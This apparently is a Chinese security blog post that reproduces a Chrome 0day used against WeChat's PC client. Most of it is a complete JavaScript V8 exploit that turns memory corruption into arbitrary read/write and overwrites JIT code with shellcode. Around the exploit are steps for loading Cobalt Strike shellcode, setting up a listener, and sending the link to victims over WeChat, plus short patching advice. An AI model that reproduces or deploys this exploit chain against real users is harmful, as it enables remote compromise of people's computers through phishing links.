Chrome-0day引发的一波蝴蝶效应

gclome

原文链接:Chrome-0day引发的一波蝴蝶效应

0x00 前言
近日Chrome爆出0day在安全圈内掀起了一大波浪潮，恰好又正处攻防演练期间，这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程，笔者秉承着学习的心态，复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏，请各位大佬留言指正。

0x01 漏洞利用条件
1.本次漏洞是由Chrome浏览器引起的远程代码执行，由于Chrome本身是存在沙箱的，想要利用此次漏洞，条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。

1. CMD下运行以下代码，关闭沙箱:
   
2. C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox

复制代码

2.由于微信中默认使用Chrome内核，且沙箱处于关闭状态，如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接，诱使用户点击从而触发隐藏在链接中的shellcode。

​
0x02 漏洞利用过程
1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。
注意：Poc使用要与微信版本对应，否则无法上线。
Poc如下：

1. ENABLE_LOG = true;
   
2. IN_WORKER = true;
   
3. 
   
4. // run calc and hang in a loop
   
5. var shellcode = [      ];//shellcode替换成自己的 注意是x86的function print(data){
   
6. }
   
7. 
   
8. var not_optimised_out = 0;
   
9. var target_function = (function (value) {
   
10.     if (value == 0xdecaf0) {
    
11.         not_optimised_out += 1;
    
12.     }
    
13.     not_optimised_out += 1;
    
14.     not_optimised_out |= 0xff;
    
15.     not_optimised_out *= 12;
    
16. });
    
17. 
    
18. for (var i = 0; i < 0x10000; ++i) {
    
19.     target_function(i);
    
20. }
    
21. 
    
22. var g_array;
    
23. var tDerivedNCount = 17 * 87481 - 8;
    
24. var tDerivedNDepth = 19 * 19;
    
25. 
    
26. function cb(flag) {
    
27.     if (flag == true) {
    
28.         return;
    
29.     }
    
30.     g_array = new Array(0);
    
31.     g_array[0] = 0x1dbabe * 2;
    
32.     return 'c01db33f';
    
33. }
    
34. 
    
35. function gc() {
    
36.     for (var i = 0; i < 0x10000; ++i) {
    
37.         new String();
    
38.     }
    
39. }
    
40. 
    
41. function oobAccess() {
    
42.     var this_ = this;
    
43.     this.buffer = null;
    
44.     this.buffer_view = null;
    
45. 
    
46.     this.page_buffer = null;
    
47.     this.page_view = null;
    
48. 
    
49.     this.prevent_opt = [];
    
50. 
    
51.     var kSlotOffset = 0x1f;
    
52.     var kBackingStoreOffset = 0xf;
    
53. 
    
54.     class LeakArrayBuffer extends ArrayBuffer {
    
55.         constructor() {
    
56.             super(0x1000);
    
57.             this.slot = this;
    
58.         }
    
59.     }
    
60. 
    
61.     this.page_buffer = new LeakArrayBuffer();
    
62.     this.page_view = new DataView(this.page_buffer);
    
63. 
    
64.     new RegExp({ toString: function () { return 'a' } });
    
65.     cb(true);
    
66. 
    
67.     class DerivedBase extends RegExp {
    
68.         constructor() {
    
69.             // var array = null;
    
70.             super(
    
71.                 // at this point, the 4-byte allocation for the JSRegExp `this` object
    
72.                 // has just happened.
    
73.                 {
    
74.                     toString: cb
    
75.                 }, 'g'
    
76.                 // now the runtime JSRegExp constructor is called, corrupting the
    
77.                 // JSArray.
    
78.             );
    
79. 
    
80.             // this allocation will now directly follow the FixedArray allocation
    
81.             // made for `this.data`, which is where `array.elements` points to.
    
82.             this_.buffer = new ArrayBuffer(0x80);
    
83.             g_array[8] = this_.page_buffer;
    
84.         }
    
85.     }
    
86. 
    
87.     // try{
    
88.     var derived_n = eval(`(function derived_n(i) {
    
89.         if (i == 0) {
    
90.             return DerivedBase;
    
91.         }
    
92. 
    
93.         class DerivedN extends derived_n(i-1) {
    
94.             constructor() {
    
95.                 super();
    
96.                 return;
    
97.                 ${"this.a=0;".repeat(tDerivedNCount)}
    
98.             }
    
99.         }
    
100. 
     
101.         return DerivedN;
     
102.     })`);
     
103. 
     
104.     gc();
     
105. 
     
106.     new (derived_n(tDerivedNDepth))();
     
107. 
     
108.     this.buffer_view = new DataView(this.buffer);
     
109.     this.leakPtr = function (obj) {
     
110.         this.page_buffer.slot = obj;
     
111.         return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
     
112.     }
     
113. 
     
114.     this.setPtr = function (addr) {
     
115.         this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
     
116.     }
     
117. 
     
118.     this.read32 = function (addr) {
     
119.         this.setPtr(addr);
     
120.         return this.page_view.getUint32(0, true, ...this.prevent_opt);
     
121.     }
     
122. 
     
123.     this.write32 = function (addr, value) {
     
124.         this.setPtr(addr);
     
125.         this.page_view.setUint32(0, value, true, ...this.prevent_opt);
     
126.     }
     
127. 
     
128.     this.write8 = function (addr, value) {
     
129.         this.setPtr(addr);
     
130.         this.page_view.setUint8(0, value, ...this.prevent_opt);
     
131.     }
     
132. 
     
133.     this.setBytes = function (addr, content) {
     
134.         for (var i = 0; i < content.length; i++) {
     
135.             this.write8(addr + i, content[i]);
     
136.         }
     
137.     }
     
138.     return this;
     
139. }
     
140. 
     
141. function trigger() {
     
142.     var oob = oobAccess();
     
143. 
     
144.     var func_ptr = oob.leakPtr(target_function);
     
145.     print('[*] target_function at 0x' + func_ptr.toString(16));
     
146. 
     
147.     var kCodeInsOffset = 0x1b;
     
148. 
     
149.     var code_addr = oob.read32(func_ptr + kCodeInsOffset);
     
150.     print('[*] code_addr at 0x' + code_addr.toString(16));
     
151. 
     
152.     oob.setBytes(code_addr, shellcode);
     
153. 
     
154.     target_function(0);
     
155. }
     
156. 
     
157. try{
     
158.     print("start running");
     
159.     trigger();
     
160. }catch(e){
     
161.     print(e);
     
162. }

复制代码

​

2.CS创建监听器
​
监听器创建成功
​
3.CS生成C格式Paylaod
​
这里不勾选X64，因为微信PC端处理器为X86。
​
将生成的C文件，替换到上述shellcode数组中，如下图所示：
​
4.本地搭建测试环境，微信点击链接CS上线
​

0x03 修复建议
1.Chrome官方已经对本次漏洞进行修补，请升级到最新的Chrome版本。
2.微信同时也发布了3.2.1.143最新版本，请大家及时下载更新。

0x04 总结
归根结底本次漏洞利用了Chrome浏览器远程代码执行，理论上来讲，所有使用Chrome内核，且关闭沙箱的软件都有可能被攻击者利用。笔者在复现的过程中，看到了某实验室写到的一篇文章利用appscan扫描器(使用Chrome内核进行爬取)CS上线，有兴趣的同学可以自行搜索学习。